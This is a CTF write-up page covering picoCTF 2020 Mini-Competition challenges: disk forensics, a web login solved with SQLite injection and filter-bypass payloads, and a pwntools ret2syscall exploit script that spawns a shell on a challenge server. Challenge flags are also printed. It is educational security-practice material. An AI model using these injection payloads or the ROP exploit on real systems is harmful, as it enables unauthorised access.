ctfwriteup
  • ✅/home/ret2basic.eth
  • Game Hacking
    • 👑Pwn Adventure 3: Pwnie Island
      • ✅Prep: Speed Hack
      • ✅Prep: Infinite Health and Mana (Offline)
      • ✅Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • ✅Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • ✅Step 1: Setup
      • ✅Step 2: Scan for "Exact Value"
      • ✅Step 3: Scan for "Unknown initial value"
      • ✅Step 4: Scan for float and double
      • ✅Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • 👑Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • 👑Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • ✅Unstoppable
      • ✅Naive Receiver
      • ✅Truster
      • ✅Side Entrance
      • ✅The Rewarder
      • ✅Selfie
      • ✅Compromised
      • ✅Puppet
      • ✅Puppet V2
      • ✅Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • ✅Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • ✅Meta Staking
      • ✅Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • ✅Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • ✅Crystal DAO
      • ✅Liquidatoooor
    • ✅Ethernaut
      • ✅Hello Ethernaut
      • ✅Fallback
      • ✅Fallout
      • ✅Coin Flip
      • ✅Telephone
      • ✅Token
      • ✅Delegation
      • ✅Force
      • ✅Vault
      • ✅King
      • ✅Re-entrancy
      • ✅Elevator
      • ✅Privacy
      • ✅Gatekeeper One
      • ✅Gatekeeper Two
      • ✅Naught Coin
      • ✅Preservation
      • ✅Recovery
      • ✅MagicNumber
      • ✅Alien Codex
      • ✅Denial
      • ✅Shop
      • ✅DEX
      • ✅DEX Two
      • ✅Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • ✅Good Samaritan
      • Gatekeeper Three
      • Switch
    • ✅Flashbots MEV-Share CTF
    • ✅Capture the Ether
      • ✅Lotteries
      • ✅Math
      • ✅Miscellaneous
    • ✅EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅More EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅QuillCTF
      • ✅MetaToken
      • ✅Temporary Variable
      • KeyCraft
      • ✅Lottery
      • ✅Private Club
      • Voting Machine
      • ✅Predictable NFT
      • ✅Invest Pool
      • PseudoRandom
      • ✅Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • ✅Donate
      • ✅WETH-11
      • Panda Token
      • Gate
      • ✅WETH10
      • ✅Pelusa
      • ✅True XOR
      • ✅Collatz Puzzle
      • ✅D31eg4t3
      • ✅Safe NFT
      • ✅VIP Bank
      • ✅Confidential Hash
      • ✅Road Closed
    • ✅unhacked
      • ✅reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • ✅01 - ReturnBool
      • ✅02 - SimpleRevert
      • ✅03 - Return42
      • ✅04 - RevertWithError
      • ✅05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • ✅Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • ✅Jarvis OJ Pwn Xman Series
    • ✅Jarvis OJ Crypto RSA Series
    • ✅picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • ✅Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • ✅Linux
        • ✅Safe (Easy)
        • ✅Delivery (Easy)
        • ✅TheNotebook (Medium)
        • ✅Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • ✅Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • ✅TCM Linux Privilege Escalation Course
      • ✅TryHackMe - Simple CTF (Easy)
      • ✅TryHackMe - Vulnversity (Easy)
      • ✅TryHackMe - CMesS (Medium)
      • ✅TryHackMe - UltraTech (Medium)
      • ✅TryHackMe - LazyAdmin (Easy)
      • ✅TryHackMe - Anonymous (Medium)
      • ✅TryHackMe - tomghost (Easy)
      • ✅TryHackMe - ConvertMyVideo (Medium)
      • ✅TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Pitter, Patter, Platters (Autopsy)
  • Challenge
  • Solution
  • Web Gauntlet (SQLite Injection with WAF Bypass)
  • Challenge
  • Solution
  • Appendix: Source Code
  • Guessing Game 1 (ret2syscall)
  • Challenge
  • Makefile
  • Source Code
  • Solution
  • Exploit
  • Guessing Game 2
  • Challenge
  • Makefile
  • Source Code
  • Solution
  • Exploit
  • OPT Implementation
  • Challenge
  • Solution
  • Implementation
  1. Web2 CTF

picoCTF 2020 Mini-Competition

{"author" : ["ret2basic"]}

PreviousForensicsNextvulnlab

Last updated 3 months ago

Pitter, Patter, Platters (Autopsy)

Challenge

'Suspicious' is written all over this disk image. Download

Solution

Open the .sda file in Autopsy. Click "Keyword Search" and search for the keyword "suspicious". Here we find two files:

  • suspicious-file.txt

  • suspicious-file.txt-slack

suspicious-file.txt says:

suspicious-file.txt Nothing to see here! But you may want to look here -->


------------------------------METADATA------------------------------

suspicious-file.txt-slack says:

suspicious-file.txt-slack }dc7079dd_3<_|Lm_111t5_3b{FTCocip

File slack is the difference between the physical file size and the logical file size. Autopsy creates slack files (with the -slack extension) from any extra space at the end of a file. These files can be displayed or hidden from the data sources area and/or the views area. Go to "Tools => Options => Global Settings => Hide slack files in the:" and unselect the options in this section.

Reverse the string and get flag:

echo '}dc7079dd_3<_|Lm_111t5_3b{FTCocip' | rev

Web Gauntlet (SQLite Injection with WAF Bypass)

Challenge

Solution

Background Knowledge

If we enter user:password on the login page, the backend SQL query will be something like this:

SELECT * FROM users WHERE username='user' AND password='solarwinds123';

Typically the very first payload for testing SQLi is ' or 1=1;--, which results in the following SQL query:

SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';

Here the leading ' closes the username field and anything comes after -- is considered as comment (hence ignored). Since '' evaluates to False and 1=1 evaluates to True, the entire SQL statement always evaluates to True.

Round 1

Filter: or

In this round, the boolean expression or is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin, one possible payload without using or is admin';--. The corresponding SQL query is:

SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';

The SQL query got executed is shown in the background:

Round 2

Filter: or and like = --

For this round, simply remove the -- from the payload for Round 1. The corresponding SQL query is:

SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';

This query is still semantically correct since ; closes the statement SELECT * FROM users WHERE username='admin':

Round 3

Filter: or and = like > < --

The payload for Round 2 works for this round as well:

Round 4

Filter: or and = like > < -- admin

Since admin is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION keyword in SQL allows multiple SQL statements to be executed. For example:

SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people

In our case, we could construct an UNION attack as the following:

SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';

However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with /**/ (empty comment is equivalent to space):

SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';

This payload works:

Round 5

Filter: or and = like > < -- union admin

Since union is filtered in this round, we should switch back to the admin';-- idea. There are two things that need to be changed:

  1. Since admin is filtered, we could split admin into adm'||'in, where || is used for concatenating strings in SQL.

  2. Since -- is filtered, we could replace ;-- with /* to comment out the things that we don't need.

The complete SQL query is:

SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';

Now go grab your flag:

Appendix: Source Code

<?php
session_start();

if (!isset($_SESSION["round"])) {
    $_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($round === 1) {
    $filter = array("or");
    if ($view) {
        echo "Round1: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 2) {
    $filter = array("or", "and", "like", "=", "--");
    if ($view) {
        echo "Round2: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 3) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
    // $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round3: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 4) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
    // $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round4: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 5) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
    // $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round5: ".implode(" ", $filter)."<br/>";
    }
} else if ($round >= 6) {
    if ($view) {
        highlight_file("filter.php");
    }
} else {
    $_SESSION["round"] = 1;
}

// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
?>

Guessing Game 1 (ret2syscall)

Challenge

Makefile

all:
        gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
        rm vuln

The binary is statically linked, so things like ret2libc won't work.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
    return in + 1;
}

long get_random() {
    return rand() % BUFSIZE;
}

int do_stuff() {
    long ans = get_random();
    ans = increment(ans);
    int res = 0;

    printf("What number would you like to guess?\n");
    char guess[BUFSIZE];
    fgets(guess, BUFSIZE, stdin);

    long g = atol(guess);
    if (!g) {
        printf("That's not a valid number!\n");
    } else {
        if (g == ans) {
            printf("Congrats! You win! Your prize is this print statement!\n\n");
            res = 1;
        } else {
            printf("Nope!\n\n");
        }
    }
    return res;
}

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    fgets(winner, 360, stdin);
    printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    int res;

    printf("Welcome to my guessing game!\n\n");

    while (1) {
        res = do_stuff();
        if (res) {
            win();
        }
    }

    return 0;
}

Note that the function get_random() does not return a random number at all since rand() is unseeded. To confirm:

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 100

long get_random()
{
    return rand() % BUFSIZE;
}

int main(int argc, char **argv)
{
    printf("%ld\n", get_random());
}

The output is 83, no matter how many times you run it.

Also, pay attention to these two lines of the source code:

    long ans = get_random(); // ans = 83
    ans = increment(ans); // ans = 84

The correct answer to the question "What number would you like to guess?" should be 84.

Solution

Since the binary does not contain the string "/bin/sh\x00", we have to construct a 2-stage exploit:

  • Stage 1: Build a ROP chain for writing the string "/bin/sh\x00" to a writable memory location. A common choice is the .bss section. The address of .bss can be found using Pwntools elf.bss() method.

  • Stage 2: Do normal ret2syscall to execute execve("/bin/sh\x00", 0, 0).

Exploit

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch='amd64', os='linux')
elf = ELF("./vuln", checksec=False)

local = False
if local:
    r = elf.process()
else:
    host = 'jupiter.challenges.picoctf.org'
    port = 26735
    r = remote(host, port)

#--------ret2syscall--------#

offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c

payload = flat(
    b"A" * offset,
    
    # Write the string "/bin/sh\x00" to .bss section
    pop_rdx, "/bin/sh\x00",
    pop_rax, bin_sh_address,
    write_gadget,
    
    # Call execve("/bin/sh\x00", 0, 0)
    pop_rax, 0x3b,
    pop_rdi, bin_sh_address,
    pop_rsi, 0,
    pop_rdx, 0,
    syscall,
)

r.sendlineafter("What number would you like to guess?\n", '84')
r.sendlineafter("Name? ", payload)
r.interactive()

Guessing Game 2

Solved by ret2basic

Challenge

Makefile

all:
        gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c

clean:
        rm vuln

The binary is dynamically linked this time, which makes ret2libc possible.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 512


long get_random() {
    return rand;
}

int get_version() {
    return 2;
}

int do_stuff() {
    long ans = (get_random() % 4096) + 1;
    int res = 0;

    printf("What number would you like to guess?\n");
    char guess[BUFSIZE];
    fgets(guess, BUFSIZE, stdin);

    long g = atol(guess);
    if (!g) {
        printf("That's not a valid number!\n");
    } else {
        if (g == ans) {
            printf("Congrats! You win! Your prize is this print statement!\n\n");
            res = 1;
        } else {
            printf("Nope!\n\n");
        }
    }
    return res;
}

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    gets(winner);
    printf("Congrats: ");
    printf(winner);
    printf("\n\n");
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    int res;

    printf("Welcome to my guessing game!\n");
    printf("Version: %x\n\n", get_version());

    while (1) {
        res = do_stuff();
        if (res) {
            win();
        }
    }

    return 0;
}

Solution

Exploit

OPT Implementation

Challenge

Solution

Implementation

Can you beat the filters? Log in as admin

I made a simple game to show off my programming skills. See if you can beat it! nc jupiter.challenges.picoctf.org 26735

It's the Return of your favorite game! nc jupiter.challenges.picoctf.org 57529

Yay reversing! Relevant files:

✅
suspicious.dd.sda1
http://jupiter.challenges.picoctf.org:44979/
http://jupiter.challenges.picoctf.org:44979/filter.php
vuln
vuln.c
Makefile
vuln
vuln.c
Makefile
otp
flag.txt
Round 1 Done
Round 2 Done
Round 4 Done
Round 5 Done